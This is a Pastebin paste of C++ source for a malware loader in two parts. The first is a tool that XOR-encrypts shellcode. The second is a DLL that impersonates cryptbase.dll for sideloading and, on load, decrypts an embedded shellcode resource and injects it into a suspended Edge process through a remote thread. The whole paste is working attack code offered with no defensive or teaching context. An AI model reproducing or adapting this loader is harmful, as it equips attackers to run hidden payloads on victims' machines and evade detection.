API tools faq
paste
Advertisement
EngEhabFahmi

DLL Loader

EngEhabFahmi
Jun 17th, 2025 (edited)
310
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 9.83 KB | Software | 0 0
raw download clone embed print report
  1. // DLL Loader
  2. // https://www.7-zip.org/download.html
  3. // ===============================================================
  4. // 1st file:
  5.  
  6. #include <iostream>
  7. #include <fstream>
  8. #include <vector>
  9. #include <string>
  10.  
  11. // Function to XOR encrypt the buffer using the provided key
  12. void xorEncrypt(std::vector<unsigned char>& buf, const std::string& key) {
  13.     size_t keyLen = key.length();
  14.     for (size_t i = 0; i < buf.size(); ++i) {
  15.         buf[i] ^= key[i % keyLen];
  16.     }
  17. }
  18.  
  19. int main(int argc, char* argv[]) {
  20.     if (argc < 4) {
  21.         std::cerr << "Usage: " << argv[0] << " <input_shellcode> <xor_key> <output_file>" << std::endl;
  22.         return 1;
  23.     }
  24.  
  25.     std::string inputFile = argv[1];
  26.     std::string key = argv[2];
  27.     std::string outputFile = argv[3];
  28.  
  29.     // Open input shellcode file
  30.     std::ifstream file(inputFile, std::ios::binary);
  31.     if (!file) {
  32.         std::cerr << "Error: Cannot open input file." << std::endl;
  33.         return 1;
  34.     }
  35.  
  36.     // Read the file into a buffer
  37.     std::vector<unsigned char> buf((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
  38.     file.close();
  39.  
  40.     if (buf.empty()) {
  41.         std::cerr << "Error: Input shellcode file is empty." << std::endl;
  42.         return 1;
  43.     }
  44.  
  45.     // XOR encrypt the buffer
  46.     xorEncrypt(buf, key);
  47.  
  48.     // Write XORed shellcode to output file
  49.     std::ofstream outFile(outputFile, std::ios::binary);
  50.     if (!outFile) {
  51.         std::cerr << "Error: Cannot create output file." << std::endl;
  52.         return 1;
  53.     }
  54.  
  55.     outFile.write(reinterpret_cast<char*>(buf.data()), buf.size());
  56.     outFile.close();
  57.  
  58.     std::cout << "[+] Shellcode encrypted and saved to: " << outputFile << std::endl;
  59.  
  60.     return 0;
  61. }
  62.  
  63. // ===============================================================
  64. // 2nd File:
  65.  
  66. #include <stdio.h>
  67. #include <stdlib.h>
  68. #include <iostream>
  69. #include <windows.h>
  70. #include <winternl.h>
  71. #include <thread>
  72. #include <random>
  73. #include "resource.h"
  74.  
  75. #define _CRT_SECURE_NO_DEPRECATE
  76. #pragma warning (disable : 4996)
  77.  
  78. #pragma comment(linker, "/export:SystemFunction001=C:\\Windows\\System32\\cryptbase.SystemFunction001,@1")
  79. #pragma comment(linker, "/export:SystemFunction002=C:\\Windows\\System32\\cryptbase.SystemFunction002,@2")
  80. #pragma comment(linker, "/export:SystemFunction003=C:\\Windows\\System32\\cryptbase.SystemFunction003,@3")
  81. #pragma comment(linker, "/export:SystemFunction004=C:\\Windows\\System32\\cryptbase.SystemFunction004,@4")
  82. #pragma comment(linker, "/export:SystemFunction005=C:\\Windows\\System32\\cryptbase.SystemFunction005,@5")
  83. #pragma comment(linker, "/export:SystemFunction028=C:\\Windows\\System32\\cryptbase.SystemFunction028,@6")
  84. #pragma comment(linker, "/export:SystemFunction029=C:\\Windows\\System32\\cryptbase.SystemFunction029,@7")
  85. #pragma comment(linker, "/export:SystemFunction034=C:\\Windows\\System32\\cryptbase.SystemFunction034,@8")
  86. #pragma comment(linker, "/export:SystemFunction036=C:\\Windows\\System32\\cryptbase.SystemFunction036,@9")
  87. #pragma comment(linker, "/export:SystemFunction040=C:\\Windows\\System32\\cryptbase.SystemFunction040,@10")
  88. #pragma comment(linker, "/export:SystemFunction041=C:\\Windows\\System32\\cryptbase.SystemFunction041,@11")
  89.  
  90. const char key[] = "Uoajs2@ahiushidasd";
  91.  
  92.  
  93. // Enhanced debugging function with timestamp and process ID
  94. void DebugLog(const char* msg, LPVOID ptr = nullptr) {
  95.     SYSTEMTIME st;
  96.     GetLocalTime(&st);
  97.     printf("[%02d:%02d:%02d.%03d] [PID: %d] %s",
  98.         st.wHour, st.wMinute, st.wSecond, st.wMilliseconds,
  99.         GetCurrentProcessId(), msg);
  100.  
  101.     if (ptr) {
  102.         printf(" [Pointer: 0x%p]", ptr);
  103.     }
  104.     printf("\n");
  105. }
  106.  
  107. void PauseForDebug(const char* msg) {
  108.     DebugLog(msg);
  109.     std::cout << "Press Enter to continue...";
  110.     std::cin.ignore();
  111. }
  112.  
  113. void HexDump(const void* data, size_t size) {
  114.     const unsigned char* p = (const unsigned char*)data;
  115.     printf("Hex dump (%zu bytes):\n", size);
  116.     for (size_t i = 0; i < size; ++i) {
  117.         printf("%02X ", p[i]);
  118.         if ((i + 1) % 16 == 0 || i == size - 1) {
  119.             printf("\n");
  120.         }
  121.     }
  122. }
  123.  
  124. void DecryptShellcode(BYTE* data, DWORD size) {
  125.     //DebugLog("Starting shellcode decryption...");
  126.     int keyLength = sizeof(key) - 1;
  127.  
  128.     //DebugLog("Shellcode before decryption:");
  129.     HexDump(data, min(size, 32)); // Show first 32 bytes
  130.  
  131.     for (DWORD i = 0; i < size; i++) {
  132.         data[i] ^= key[i % keyLength];
  133.     }
  134.  
  135.     //DebugLog("Shellcode after decryption:");
  136.     HexDump(data, min(size, 32)); // Show first 32 bytes
  137.     //DebugLog("Shellcode decryption completed");
  138. }
  139.  
  140. void InjectShellcodeIntoNotepad() {
  141.     DebugLog("Starting shellcode injection process");
  142.  
  143.     // Create notepad.exe process suspended
  144.     STARTUPINFO si = { sizeof(si) };
  145.     PROCESS_INFORMATION pi;
  146.  
  147.     if (!CreateProcess(L"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
  148.         DebugLog("[!] Failed to create notepad process!");
  149.         return;
  150.     }
  151.  
  152.     DebugLog("Notepad.exe created successfully (suspended)");
  153.     DebugLog("Notepad process information:", pi.hProcess);
  154.     printf("  Process ID: %d\n", pi.dwProcessId);
  155.     printf("  Thread ID: %d\n", pi.dwThreadId);
  156.     PauseForDebug("Notepad process created - check with Process Explorer");
  157.  
  158.     HMODULE hModule = NULL;
  159.     if (!GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, (LPCTSTR)InjectShellcodeIntoNotepad, &hModule)) {
  160.         DebugLog("[!] Failed to get module handle!");
  161.         return;
  162.     }
  163.     DebugLog("Module handle obtained:", hModule);
  164.     PauseForDebug("Module handle fetched - ready to access resources");
  165.  
  166.     // Find and load the resource
  167.     DebugLog("Locating resource...");
  168.     HRSRC resHandle = FindResource(hModule, MAKEINTRESOURCE(IDR_SHELL1), L"SHELL");
  169.     if (!resHandle) {
  170.         DebugLog("[!] Resource not found!");
  171.         return;
  172.     }
  173.     DebugLog("Resource found:", resHandle);
  174.  
  175.     DWORD resSize = SizeofResource(hModule, resHandle);
  176.     HGLOBAL resData = LoadResource(hModule, resHandle);
  177.     void* resPtr = LockResource(resData);
  178.  
  179.     if (!resPtr || resSize == 0) {
  180.         DebugLog("[!] Failed to load resource data!");
  181.         return;
  182.     }
  183.  
  184.     DebugLog("Resource loaded successfully");
  185.     printf("  Resource size: %d bytes\n", resSize);
  186.     printf("  Resource pointer: 0x%p\n", resPtr);
  187.     PauseForDebug("Resource loaded - ready to process");
  188.  
  189.     // Allocate memory for shellcode
  190.     BYTE* pShellcode = (BYTE*)VirtualAlloc(0, resSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  191.     if (pShellcode == NULL) {
  192.         DebugLog("[!] Memory allocation failed!");
  193.         return;
  194.     }
  195.  
  196.     DebugLog("Memory allocated for shellcode:", pShellcode);
  197.     printf("  Allocation size: %d bytes\n", resSize);
  198.     PauseForDebug("Memory allocated - ready to copy shellcode");
  199.  
  200.     // Copy resource data to allocated memory
  201.     memcpy(pShellcode, resPtr, resSize);
  202.     DebugLog("Shellcode copied to allocated memory");
  203.     PauseForDebug("Shellcode copied - ready to decrypt");
  204.  
  205.     // Decrypt the shellcode
  206.     //DebugLog("Starting shellcode decryption...");
  207.     DecryptShellcode(pShellcode, resSize);
  208.     //PauseForDebug("Shellcode decrypted - ready to inject");
  209.  
  210.     // Allocate memory in the notepad process
  211.     LPVOID pRemoteShellcode = VirtualAllocEx(pi.hProcess, NULL, resSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  212.     if (!pRemoteShellcode) {
  213.         //DebugLog("[!] Failed to allocate memory in target process!");
  214.         return;
  215.     }
  216.  
  217.     DebugLog("Memory allocated in Notepad process:", pRemoteShellcode);
  218.     printf("  Allocation size: %d bytes\n", resSize);
  219.     PauseForDebug("Remote memory allocated - ready to write shellcode");
  220.  
  221.     // Write the decrypted shellcode into the allocated memory
  222.     SIZE_T bytesWritten = 0;
  223.     if (!WriteProcessMemory(pi.hProcess, pRemoteShellcode, pShellcode, resSize, &bytesWritten)) {
  224.         //DebugLog("[!] Failed to write shellcode to Notepad process!");
  225.         return;
  226.     }
  227.  
  228.     DebugLog("Shellcode written to Notepad process");
  229.     printf("  Bytes written: %zu/%d\n", bytesWritten, resSize);
  230.     PauseForDebug("Shellcode written - ready to execute");
  231.  
  232.     // Create a remote thread in the notepad process to execute the shellcode
  233.     DebugLog("Creating remote thread...");
  234.     system("pause");
  235.     HANDLE hThread = CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteShellcode, NULL, 0, NULL);
  236.     if (!hThread) {
  237.         //DebugLog("[!] Failed to create remote thread!");
  238.         return;
  239.     }
  240.  
  241.     DebugLog("Remote thread created successfully:", hThread);
  242.     printf("  Thread ID: %d\n", GetThreadId(hThread));
  243.     PauseForDebug("Remote thread created - shellcode executing");
  244.  
  245.     // Wait for the thread to complete (optional)
  246.     DebugLog("Waiting for shellcode execution to complete...");
  247.     //WaitForSingleObject(hThread, INFINITE);
  248.  
  249.     DWORD exitCode = 0;
  250.     GetExitCodeThread(hThread, &exitCode);
  251.     DebugLog("Shellcode execution completed");
  252.     printf("  Exit code: 0x%08X\n", exitCode);
  253.  
  254.     // Clean up
  255.     CloseHandle(hThread);
  256.     CloseHandle(pi.hThread);
  257.     CloseHandle(pi.hProcess);
  258.  
  259.     // Free local shellcode memory
  260.     VirtualFree(pShellcode, 0, MEM_RELEASE);
  261.     //DebugLog("Injection process completed successfully");
  262.     //PauseForDebug("EXITing....");
  263. }
  264.  
  265. BOOL APIENTRY DllMain(HMODULE hModule,
  266.     DWORD ul_reason_for_call,
  267.     LPVOID lpReserved
  268. )
  269. {
  270.     switch (ul_reason_for_call) {
  271.     case DLL_PROCESS_ATTACH: {
  272.         DebugLog("DLL attached to process");
  273.         //Sleep(12000);
  274.         InjectShellcodeIntoNotepad();
  275.         break;
  276.     }
  277.     case DLL_THREAD_ATTACH:
  278.     case DLL_THREAD_DETACH:
  279.     case DLL_PROCESS_DETACH:
  280.         break;
  281.     }
  282.     return TRUE;
  283. }
Tags: dll loader
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!